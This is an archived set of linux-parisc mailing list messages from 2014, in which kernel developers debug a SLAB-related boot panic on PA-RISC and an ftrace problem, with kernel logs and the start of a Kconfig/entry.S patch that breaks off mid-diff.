Content-Type: text/plain; charset=UTF-8
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1392147720 1925 80.91.229.3 (11 Feb 2014 19:42:00 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Tue, 11 Feb 2014 19:42:00 +0000 (UTC)
To: Guy Martin <gmsoft@tuxicoman.be>, linux-parisc@vger.kernel.org
Original-X-From: linux-parisc-owner@vger.kernel.org Tue Feb 11 20:42:07 2014
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@plane.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1WDJDa-0002uk-GX
	for glpp-linux-parisc@plane.gmane.org; Tue, 11 Feb 2014 20:42:06 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1755069AbaBKTlt (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Tue, 11 Feb 2014 14:41:49 -0500
Original-Received: from mout.gmx.net ([212.227.17.22]:65369 "EHLO mout.gmx.net"
	rhost-flags-OK-OK-OK-OK) by vger.kernel.org with ESMTP
	id S1755063AbaBKTls (ORCPT <rfc822;linux-parisc@vger.kernel.org>);
	Tue, 11 Feb 2014 14:41:48 -0500
Original-Received: from [192.168.178.60] ([84.173.33.43]) by mail.gmx.com (mrgmx102)
 with ESMTPSA (Nemesis) id 0MRjd7-1VksHz3HPl-00Syq2 for
 <linux-parisc@vger.kernel.org>; Tue, 11 Feb 2014 20:41:47 +0100
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:24.0) Gecko/20100101 Thunderbird/24.2.0
In-Reply-To: <8885305a922f01cd7bd484e884667588@tuxicoman.be>
X-Enigmail-Version: 1.6
X-Provags-ID: V03:K0:eHAtfzcNqOvoSIGP2S/jze5QNH0CQTD1iA6vHuPBBLu2uKeiYH5
 RxMBZ09HhdBQnErjeXOkHd+wYtUALNtqOusWO1h4WlH/FYL0Xa4nU89n7gNPziL5F4xVE1y
 qJjoaKrJuxcoB5+dF6++krGjM7zcx/z7PfZL86zc6hMmrTwfLv+RWjdKwwHtT9lK2mXBjkW
 T7zSUstq+/o2Pg9+Zy1qw==
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:5687
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/5687>

On 02/11/2014 11:52 AM, Guy Martin wrote:
> Hi,
> 
> I've recently upgraded from 3.12.4 to 3.13.2 and the kernel did not boot with the exact same config.

There has often been problems reported with 

WARN_ON(page_to_nid(virt_to_page(objp)) != nodeid);
would be interesting to know what the values of nodeid and page_to_nid() are..

Anyway, I think this needs debugging by someone who knows the details of SLAB.

And, please make sure that this patch is included 
http://git.kernel.org/cgit/linux/kernel/git/deller/parisc-linux.git/commit/?h=for-next&id=57737c49dd72c96cfbcd4f66559f3ffc399aeb4f

Helge


> Here is an excerpt of the panic :
> 
> [    9.080000] ------------[ cut here ]------------
> [    9.208000] WARNING: at mm/slab.c:2614
> [    9.208000] Modules linked in:
> [    9.348000] CPU: 3 PID: 1 Comm: swapper/0 Not tainted 3.13.2 #1
> [    9.348000] task: 000000007fc75178 ti: 000000007fc78000 task.ti: 000000007fc78000
> [    9.488000]
> [    9.488000]      YZrvWESTHLNXBCVMcbcbcbcbOGFRQPDI
> [    9.624000] PSW: 00001000000001000000000000001110 Not tainted
> [    9.624000] r00-03  000000000804000e 0000000000000000 00000000402862b4 000000007fc78650
> [    9.764000] r04-07  000000004091a300 000000007fc02080 00000001437e40e0 0000000040a64030
> [    9.904000] r08-11  000000007fd4da00 00000001437e4100 000000000000000f 000f000000000000
> [   10.044000] r12-15  000000007fc02088 ffffffffc0000000 0000000000100100 000000004096a300
> [   10.044000] r16-19  0000000040969b00 00000000000001ff 0000000040969b00 0000000000000001
> [   10.184000] r20-23  0000000000000000 000000007fc020a8 0000000000000001 bff405fd00000000
> [   10.320000] r24-27  000000007fc78740 00000000006fc81c 00000000007fc020 000000004091a300
> [   10.460000] r28-31  000000023f804040 00000000409c2740 000000007fc78770 000000007fc020a8
> [   10.604000] sr00-03  0000000000000000 0000000000000000 0000000000000000 0000000000000000
> [   10.604000] sr04-07  0000000000000000 0000000000000000 0000000000000000 0000000000000000
> [   10.740000]
> [   10.740000] IASQ: 0000000000000000 0000000000000000 IAOQ: 00000000402864f8 00000000402864fc
> [   10.880000]  IIR: 03ffe01f    ISR: 0000000010240000  IOR: 0000040df93e40f8
> [   11.016000]  CPU:        3   CR30: 000000007fc78000 CR31: ffffffffdffffaef
> [   11.156000]  ORIG_R28: 000000004096a300
> [   11.156000]  IAOQ[0]: cache_alloc_refill+0x4c8/0xbf8
> [   11.296000]  IAOQ[1]: cache_alloc_refill+0x4cc/0xbf8
> [   11.296000]  RP(r2): cache_alloc_refill+0x284/0xbf8
> [   11.436000] Backtrace:
> [   11.436000]  [<0000000040285fa8>] kmem_cache_alloc+0x1c8/0x250
> [   11.436000]  [<0000000040257100>] kmem_cache_create_memcg+0xd0/0x3a8
> [   11.576000]  [<000000004025742c>] kmem_cache_create+0x54/0x68
> [   11.712000]  [<000000004011daf4>] 0x4011daf4
> [   11.712000]  [<000000004015d0b4>] do_one_initcall+0x1ac/0x230
> [   11.756000] random: nonblocking pool is initialized
> [   11.852000]  [<0000000040101a5c>] 0x40101a5c
> [   11.992000]  [<0000000040152d38>] kernel_init+0x30/0x2a0
> [   11.992000]  [<000000004014b020>] end_fault_vector+0x20/0xc0
> [   12.132000]  [<0000000040152d08>] kernel_init+0x0/0x2a0
> [   12.132000]
> [   12.132000] ---[ end trace 436196ee1e834c21 ]---
> 
> 
> 
> The full kernel logs can be found here : http://bpaste.net/show/177607/
> 
> 
> And kconfig here : http://bpaste.net/show/177929/
> 
> 
> I switched from SLAB to SLUB and the problem went away. However, this used to work in 3.12.4.

--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:10:11 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Helge Deller <deller@gmx.de>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: Kernel panic with 3.13.2 and SLAB
Date: Tue, 11 Feb 2014 20:52:37 +0100
Lines: 87
Approved: news@gmane.org
Message-ID: <52FA7F85.8040508@gmx.de>
References: <8885305a922f01cd7bd484e884667588@tuxicoman.be> <52FA7CFA.7020007@gmx.de>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=UTF-8
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1392148354 10052 80.91.229.3 (11 Feb 2014 19:52:34 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Tue, 11 Feb 2014 19:52:34 +0000 (UTC)
To: Guy Martin <gmsoft@tuxicoman.be>, linux-parisc@vger.kernel.org
Original-X-From: linux-parisc-owner@vger.kernel.org Tue Feb 11 20:52:43 2014
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@plane.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1WDJNq-0006VP-Fw
	for glpp-linux-parisc@plane.gmane.org; Tue, 11 Feb 2014 20:52:42 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1755202AbaBKTwl (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Tue, 11 Feb 2014 14:52:41 -0500
Original-Received: from mout.gmx.net ([212.227.15.18]:53242 "EHLO mout.gmx.net"
	rhost-flags-OK-OK-OK-OK) by vger.kernel.org with ESMTP
	id S1754252AbaBKTwj (ORCPT <rfc822;linux-parisc@vger.kernel.org>);
	Tue, 11 Feb 2014 14:52:39 -0500
Original-Received: from [192.168.178.60] ([84.173.33.43]) by mail.gmx.com (mrgmx101)
 with ESMTPSA (Nemesis) id 0MCggg-1W3vSm1kQc-009M7m for
 <linux-parisc@vger.kernel.org>; Tue, 11 Feb 2014 20:52:38 +0100
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:24.0) Gecko/20100101 Thunderbird/24.2.0
In-Reply-To: <52FA7CFA.7020007@gmx.de>
X-Enigmail-Version: 1.6
X-Provags-ID: V03:K0:72HJ6XuKg4FdDqJc+NJffbGoE/5KAEWPbOlEmUF3ydiebrKc1TL
 mjGdRNtV8dU/DMvCfxY57ec3Pz42JFxIBfT9NeQUpwVWbHG1tMSsjDSVI6+3s6Oj3Z/6cNw
 M+GfQf3Qr+KDayKBokK5ItntUFrWfJTuuKtshdL2KLD2PxYofjS02ZyKbtyqKxBpxKFmStc
 qQ5HriPiQ416ZFAi6xS4Q==
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:5688
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/5688>

On 02/11/2014 08:41 PM, Helge Deller wrote:
> On 02/11/2014 11:52 AM, Guy Martin wrote:
>> Hi,
>>
>> I've recently upgraded from 3.12.4 to 3.13.2 and the kernel did not boot with the exact same config.
> 
> There has often been problems reported with 

This should read:
There has often been problems reported with SLAB.
I think I ran into this once too. 

> 
> WARN_ON(page_to_nid(virt_to_page(objp)) != nodeid);
> would be interesting to know what the values of nodeid and page_to_nid() are..
> 
> Anyway, I think this needs debugging by someone who knows the details of SLAB.
> 
> And, please make sure that this patch is included 
> http://git.kernel.org/cgit/linux/kernel/git/deller/parisc-linux.git/commit/?h=for-next&id=57737c49dd72c96cfbcd4f66559f3ffc399aeb4f
> 
> Helge
> 
> 
>> Here is an excerpt of the panic :
>>
>> [    9.080000] ------------[ cut here ]------------
>> [    9.208000] WARNING: at mm/slab.c:2614
>> [    9.208000] Modules linked in:
>> [    9.348000] CPU: 3 PID: 1 Comm: swapper/0 Not tainted 3.13.2 #1
>> [    9.348000] task: 000000007fc75178 ti: 000000007fc78000 task.ti: 000000007fc78000
>> [    9.488000]
>> [    9.488000]      YZrvWESTHLNXBCVMcbcbcbcbOGFRQPDI
>> [    9.624000] PSW: 00001000000001000000000000001110 Not tainted
>> [    9.624000] r00-03  000000000804000e 0000000000000000 00000000402862b4 000000007fc78650
>> [    9.764000] r04-07  000000004091a300 000000007fc02080 00000001437e40e0 0000000040a64030
>> [    9.904000] r08-11  000000007fd4da00 00000001437e4100 000000000000000f 000f000000000000
>> [   10.044000] r12-15  000000007fc02088 ffffffffc0000000 0000000000100100 000000004096a300
>> [   10.044000] r16-19  0000000040969b00 00000000000001ff 0000000040969b00 0000000000000001
>> [   10.184000] r20-23  0000000000000000 000000007fc020a8 0000000000000001 bff405fd00000000
>> [   10.320000] r24-27  000000007fc78740 00000000006fc81c 00000000007fc020 000000004091a300
>> [   10.460000] r28-31  000000023f804040 00000000409c2740 000000007fc78770 000000007fc020a8
>> [   10.604000] sr00-03  0000000000000000 0000000000000000 0000000000000000 0000000000000000
>> [   10.604000] sr04-07  0000000000000000 0000000000000000 0000000000000000 0000000000000000
>> [   10.740000]
>> [   10.740000] IASQ: 0000000000000000 0000000000000000 IAOQ: 00000000402864f8 00000000402864fc
>> [   10.880000]  IIR: 03ffe01f    ISR: 0000000010240000  IOR: 0000040df93e40f8
>> [   11.016000]  CPU:        3   CR30: 000000007fc78000 CR31: ffffffffdffffaef
>> [   11.156000]  ORIG_R28: 000000004096a300
>> [   11.156000]  IAOQ[0]: cache_alloc_refill+0x4c8/0xbf8
>> [   11.296000]  IAOQ[1]: cache_alloc_refill+0x4cc/0xbf8
>> [   11.296000]  RP(r2): cache_alloc_refill+0x284/0xbf8
>> [   11.436000] Backtrace:
>> [   11.436000]  [<0000000040285fa8>] kmem_cache_alloc+0x1c8/0x250
>> [   11.436000]  [<0000000040257100>] kmem_cache_create_memcg+0xd0/0x3a8
>> [   11.576000]  [<000000004025742c>] kmem_cache_create+0x54/0x68
>> [   11.712000]  [<000000004011daf4>] 0x4011daf4
>> [   11.712000]  [<000000004015d0b4>] do_one_initcall+0x1ac/0x230
>> [   11.756000] random: nonblocking pool is initialized
>> [   11.852000]  [<0000000040101a5c>] 0x40101a5c
>> [   11.992000]  [<0000000040152d38>] kernel_init+0x30/0x2a0
>> [   11.992000]  [<000000004014b020>] end_fault_vector+0x20/0xc0
>> [   12.132000]  [<0000000040152d08>] kernel_init+0x0/0x2a0
>> [   12.132000]
>> [   12.132000] ---[ end trace 436196ee1e834c21 ]---
>>
>>
>>
>> The full kernel logs can be found here : http://bpaste.net/show/177607/
>>
>>
>> And kconfig here : http://bpaste.net/show/177929/
>>
>>
>> I switched from SLAB to SLUB and the problem went away. However, this used to work in 3.12.4.
> 
> --
> To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
> the body of a message to majordomo@vger.kernel.org
> More majordomo info at  http://vger.kernel.org/majordomo-info.html
> 

--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:10:11 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: John David Anglin <dave.anglin@bell.net>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: Kernel panic with 3.13.2 and SLAB
Date: Tue, 11 Feb 2014 14:58:58 -0500
Lines: 92
Approved: news@gmane.org
Message-ID: <BLU0-SMTP95BD75FB8D3DB04FE9F08E97930@phx.gbl>
References: <8885305a922f01cd7bd484e884667588@tuxicoman.be> <52FA7CFA.7020007@gmx.de>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset="UTF-8"; format=flowed
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1392148747 14997 80.91.229.3 (11 Feb 2014 19:59:07 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Tue, 11 Feb 2014 19:59:07 +0000 (UTC)
To: Helge Deller <deller@gmx.de>, Guy Martin <gmsoft@tuxicoman.be>,
	linux-parisc@vger.kernel.org
Original-X-From: linux-parisc-owner@vger.kernel.org Tue Feb 11 20:59:15 2014
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@plane.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1WDJUA-0000BE-Nf
	for glpp-linux-parisc@plane.gmane.org; Tue, 11 Feb 2014 20:59:15 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1754079AbaBKT7G (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Tue, 11 Feb 2014 14:59:06 -0500
Original-Received: from blu0-omc4-s12.blu0.hotmail.com ([65.55.111.151]:1680 "EHLO
	blu0-omc4-s12.blu0.hotmail.com" rhost-flags-OK-OK-OK-OK)
	by vger.kernel.org with ESMTP id S1751533AbaBKT7B (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Tue, 11 Feb 2014 14:59:01 -0500
Original-Received: from BLU0-SMTP95 ([65.55.111.137]) by blu0-omc4-s12.blu0.hotmail.com with Microsoft SMTPSVC(6.0.3790.4675);
	 Tue, 11 Feb 2014 11:59:00 -0800
X-TMN: [Qk9rfogqnPLptWylJwiwe4Rbnb83Nyhq]
X-Originating-Email: [dave.anglin@bell.net]
Original-Received: from [192.168.0.181] ([74.12.155.157]) by BLU0-SMTP95.phx.gbl over TLS secured channel with Microsoft SMTPSVC(6.0.3790.4675);
	 Tue, 11 Feb 2014 11:58:58 -0800
User-Agent: Mozilla/5.0 (Windows NT 5.1; rv:24.0) Gecko/20100101 Thunderbird/24.3.0
In-Reply-To: <52FA7CFA.7020007@gmx.de>
X-OriginalArrivalTime: 11 Feb 2014 19:58:59.0089 (UTC) FILETIME=[B3EC5810:01CF2763]
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:5689
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/5689>

Actually, if you look at the log, the system panics because of a delayed 
timer interrupt and soft lockup
on CPU#3.  Probably, there is a lock issue associated with warning that 
causes lock up.

Dave

On 2/11/2014 2:41 PM, Helge Deller wrote:
> On 02/11/2014 11:52 AM, Guy Martin wrote:
>> Hi,
>>
>> I've recently upgraded from 3.12.4 to 3.13.2 and the kernel did not boot with the exact same config.
> There has often been problems reported with
>
> WARN_ON(page_to_nid(virt_to_page(objp)) != nodeid);
> would be interesting to know what the values of nodeid and page_to_nid() are..
>
> Anyway, I think this needs debugging by someone who knows the details of SLAB.
>
> And, please make sure that this patch is included
> http://git.kernel.org/cgit/linux/kernel/git/deller/parisc-linux.git/commit/?h=for-next&id=57737c49dd72c96cfbcd4f66559f3ffc399aeb4f
>
> Helge
>
>
>> Here is an excerpt of the panic :
>>
>> [    9.080000] ------------[ cut here ]------------
>> [    9.208000] WARNING: at mm/slab.c:2614
>> [    9.208000] Modules linked in:
>> [    9.348000] CPU: 3 PID: 1 Comm: swapper/0 Not tainted 3.13.2 #1
>> [    9.348000] task: 000000007fc75178 ti: 000000007fc78000 task.ti: 000000007fc78000
>> [    9.488000]
>> [    9.488000]      YZrvWESTHLNXBCVMcbcbcbcbOGFRQPDI
>> [    9.624000] PSW: 00001000000001000000000000001110 Not tainted
>> [    9.624000] r00-03  000000000804000e 0000000000000000 00000000402862b4 000000007fc78650
>> [    9.764000] r04-07  000000004091a300 000000007fc02080 00000001437e40e0 0000000040a64030
>> [    9.904000] r08-11  000000007fd4da00 00000001437e4100 000000000000000f 000f000000000000
>> [   10.044000] r12-15  000000007fc02088 ffffffffc0000000 0000000000100100 000000004096a300
>> [   10.044000] r16-19  0000000040969b00 00000000000001ff 0000000040969b00 0000000000000001
>> [   10.184000] r20-23  0000000000000000 000000007fc020a8 0000000000000001 bff405fd00000000
>> [   10.320000] r24-27  000000007fc78740 00000000006fc81c 00000000007fc020 000000004091a300
>> [   10.460000] r28-31  000000023f804040 00000000409c2740 000000007fc78770 000000007fc020a8
>> [   10.604000] sr00-03  0000000000000000 0000000000000000 0000000000000000 0000000000000000
>> [   10.604000] sr04-07  0000000000000000 0000000000000000 0000000000000000 0000000000000000
>> [   10.740000]
>> [   10.740000] IASQ: 0000000000000000 0000000000000000 IAOQ: 00000000402864f8 00000000402864fc
>> [   10.880000]  IIR: 03ffe01f    ISR: 0000000010240000  IOR: 0000040df93e40f8
>> [   11.016000]  CPU:        3   CR30: 000000007fc78000 CR31: ffffffffdffffaef
>> [   11.156000]  ORIG_R28: 000000004096a300
>> [   11.156000]  IAOQ[0]: cache_alloc_refill+0x4c8/0xbf8
>> [   11.296000]  IAOQ[1]: cache_alloc_refill+0x4cc/0xbf8
>> [   11.296000]  RP(r2): cache_alloc_refill+0x284/0xbf8
>> [   11.436000] Backtrace:
>> [   11.436000]  [<0000000040285fa8>] kmem_cache_alloc+0x1c8/0x250
>> [   11.436000]  [<0000000040257100>] kmem_cache_create_memcg+0xd0/0x3a8
>> [   11.576000]  [<000000004025742c>] kmem_cache_create+0x54/0x68
>> [   11.712000]  [<000000004011daf4>] 0x4011daf4
>> [   11.712000]  [<000000004015d0b4>] do_one_initcall+0x1ac/0x230
>> [   11.756000] random: nonblocking pool is initialized
>> [   11.852000]  [<0000000040101a5c>] 0x40101a5c
>> [   11.992000]  [<0000000040152d38>] kernel_init+0x30/0x2a0
>> [   11.992000]  [<000000004014b020>] end_fault_vector+0x20/0xc0
>> [   12.132000]  [<0000000040152d08>] kernel_init+0x0/0x2a0
>> [   12.132000]
>> [   12.132000] ---[ end trace 436196ee1e834c21 ]---
>>
>>
>>
>> The full kernel logs can be found here : http://bpaste.net/show/177607/
>>
>>
>> And kconfig here : http://bpaste.net/show/177929/
>>
>>
>> I switched from SLAB to SLUB and the problem went away. However, this used to work in 3.12.4.
> --
> To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
> the body of a message to majordomo@vger.kernel.org
> More majordomo info at  http://vger.kernel.org/majordomo-info.html
>
>


-- 
John David Anglin    dave.anglin@bell.net

--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:10:11 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: John David Anglin <dave.anglin@bell.net>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: Kernel panic with 3.13.2 and SLAB
Date: Tue, 11 Feb 2014 15:01:32 -0500
Lines: 15
Approved: news@gmane.org
Message-ID: <BLU0-SMTP541D1B3B4646E99ECFEFD097930@phx.gbl>
References: <8885305a922f01cd7bd484e884667588@tuxicoman.be> <52FA7CFA.7020007@gmx.de> <52FA7F85.8040508@gmx.de>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset="UTF-8"; format=flowed
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1392148910 16752 80.91.229.3 (11 Feb 2014 20:01:50 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Tue, 11 Feb 2014 20:01:50 +0000 (UTC)
To: Helge Deller <deller@gmx.de>, Guy Martin <gmsoft@tuxicoman.be>,
	linux-parisc@vger.kernel.org
Original-X-From: linux-parisc-owner@vger.kernel.org Tue Feb 11 21:01:57 2014
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@plane.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1WDJWm-00010B-MI
	for glpp-linux-parisc@plane.gmane.org; Tue, 11 Feb 2014 21:01:57 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1755720AbaBKUBg (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Tue, 11 Feb 2014 15:01:36 -0500
Original-Received: from blu0-omc4-s10.blu0.hotmail.com ([65.55.111.149]:43645 "EHLO
	blu0-omc4-s10.blu0.hotmail.com" rhost-flags-OK-OK-OK-OK)
	by vger.kernel.org with ESMTP id S1755718AbaBKUBe (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Tue, 11 Feb 2014 15:01:34 -0500
Original-Received: from BLU0-SMTP54 ([65.55.111.136]) by blu0-omc4-s10.blu0.hotmail.com with Microsoft SMTPSVC(6.0.3790.4675);
	 Tue, 11 Feb 2014 12:01:34 -0800
X-TMN: [o81LLlBP4wYsH8U+znK/IuOUPefLgVRF]
X-Originating-Email: [dave.anglin@bell.net]
Original-Received: from [192.168.0.181] ([74.12.155.157]) by BLU0-SMTP54.phx.gbl over TLS secured channel with Microsoft SMTPSVC(6.0.3790.4675);
	 Tue, 11 Feb 2014 12:01:32 -0800
User-Agent: Mozilla/5.0 (Windows NT 5.1; rv:24.0) Gecko/20100101 Thunderbird/24.3.0
In-Reply-To: <52FA7F85.8040508@gmx.de>
X-OriginalArrivalTime: 11 Feb 2014 20:01:33.0020 (UTC) FILETIME=[0FAC59C0:01CF2764]
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:5690
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/5690>

On 2/11/2014 2:52 PM, Helge Deller wrote:
> I think I ran into this once too.
I saw a similar timer lockup on rp3440 this weekend, but it went
away on next reboot.

Dave

-- 
John David Anglin    dave.anglin@bell.net

--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:10:11 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Guy Martin <gmsoft@tuxicoman.be>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: Ftrace broken on parisc
Date: Wed, 12 Feb 2014 22:51:16 +0100
Lines: 130
Approved: news@gmane.org
Message-ID: <20140212225116.470e8521@dellete>
References: <20140129205944.4f71ca1c@dellete>
	<52E96811.7000403@gmx.de>
	<BLU0-SMTP5322CCBAB0E88E9E147CB597AC0@phx.gbl>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: multipart/mixed; boundary="MP_/3h8VShFGUqs0GNBSYtJC9_+"
X-Trace: ger.gmane.org 1392241822 16888 80.91.229.3 (12 Feb 2014 21:50:22 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Wed, 12 Feb 2014 21:50:22 +0000 (UTC)
Cc: Helge Deller <deller@gmx.de>, linux-parisc@vger.kernel.org
To: John David Anglin <dave.anglin@bell.net>
Original-X-From: linux-parisc-owner@vger.kernel.org Wed Feb 12 22:50:27 2014
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@plane.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1WDhhJ-0006OL-FQ
	for glpp-linux-parisc@plane.gmane.org; Wed, 12 Feb 2014 22:50:25 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1753451AbaBLVuW (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Wed, 12 Feb 2014 16:50:22 -0500
Original-Received: from venus.vo.lu ([80.90.45.96]:58314 "EHLO venus.vo.lu"
	rhost-flags-OK-OK-OK-OK) by vger.kernel.org with ESMTP
	id S1753199AbaBLVuT (ORCPT <rfc822;linux-parisc@vger.kernel.org>);
	Wed, 12 Feb 2014 16:50:19 -0500
Original-Received: from ibiza.lux.tuxicoman.be (vodsl-8217.vo.lu [85.93.199.25]) by venus.vo.lu with SMTP
	(version=TLS\Tls
	cipher=Aes128 bits=128);
   Wed, 12 Feb 2014 22:49:03 +0100
Original-Received: from [2001:7e8:2221:300:baca:3aff:fed6:432d] (helo=dellete)
	by ibiza.lux.tuxicoman.be with esmtpsa (SSLv3:DHE-RSA-AES128-SHA:128)
	(Exim 4.80.1)
	(envelope-from <gmsoft@ibiza.lux.tuxicoman.be>)
	id 1WDhh0-0005Cw-2w; Wed, 12 Feb 2014 22:50:06 +0100
In-Reply-To: <BLU0-SMTP5322CCBAB0E88E9E147CB597AC0@phx.gbl>
X-Mailer: Claws Mail 3.9.0 (GTK+ 2.24.22; x86_64-pc-linux-gnu)
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:5691
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/5691>

--MP_/3h8VShFGUqs0GNBSYtJC9_+
Content-Type: text/plain; charset=US-ASCII
Content-Transfer-Encoding: 7bit
Content-Disposition: inline

On Wed, 29 Jan 2014 16:09:24 -0500
John David Anglin <dave.anglin@bell.net> wrote:

> On 1/29/2014 3:44 PM, Helge Deller wrote:
> > Can you try
> > BL ftrace_return_to_handler, %r0
> > (I'm not good in hppa assembly - as you can see if you take a look
> > at this assembly code section :-)).
> >
> BL might not reach on PA 1.1.  The PA 2.0 b,l instruction is only
> "long" when the link
> register is %rp and it is used for the return_trampoline.
> 
> I would say replace "b" with the following as it will always reach
> target: load32  ftrace_return_to_handler, %r20
>          bv      %r0(%r20)
> 
> %r1 is another register alternative.


Thanks, however, I later found out that this part of the code isn't
used if you set CONFIG_FUNCTION_GRAPH_TRACER=n.


In my config, I've enabled only this :
CONFIG_FTRACE=y
CONFIG_FUNCTION_TRACER=y

Full config can be found here : http://bpaste.net/show/178555/


So far I came up with the attached patch to try to get a booting kernel
but I don't even have the first line being printed, the box HPMC and
reboot.


As far as I understand, compiling with -pg will make each function jump
to _mcount before being actually executed. This is why I tried to make
the _mcount function simply jump back to %rp but this doesn't seem to
be helpful.


What am I missing here ?

  GUy

--MP_/3h8VShFGUqs0GNBSYtJC9_+
Content-Type: text/x-patch
Content-Transfer-Encoding: 7bit
Content-Disposition: attachment; filename=ftrace-test.patch

diff --git a/arch/parisc/Kconfig.debug b/arch/parisc/Kconfig.debug
index bc989e5..6d23a1a 100644
--- a/arch/parisc/Kconfig.debug
+++ b/arch/parisc/Kconfig.debug
@@ -1,5 +1,8 @@
 menu "Kernel hacking"
 
+config TRACE_IRQFLAGS_SUPPORT
+	def_bool y
+
 source "lib/Kconfig.debug"
 
 config DEBUG_RODATA
diff --git a/arch/parisc/kernel/entry.S b/arch/parisc/kernel/entry.S
index e8f07dd..bdb4d33 100644
--- a/arch/parisc/kernel/entry.S
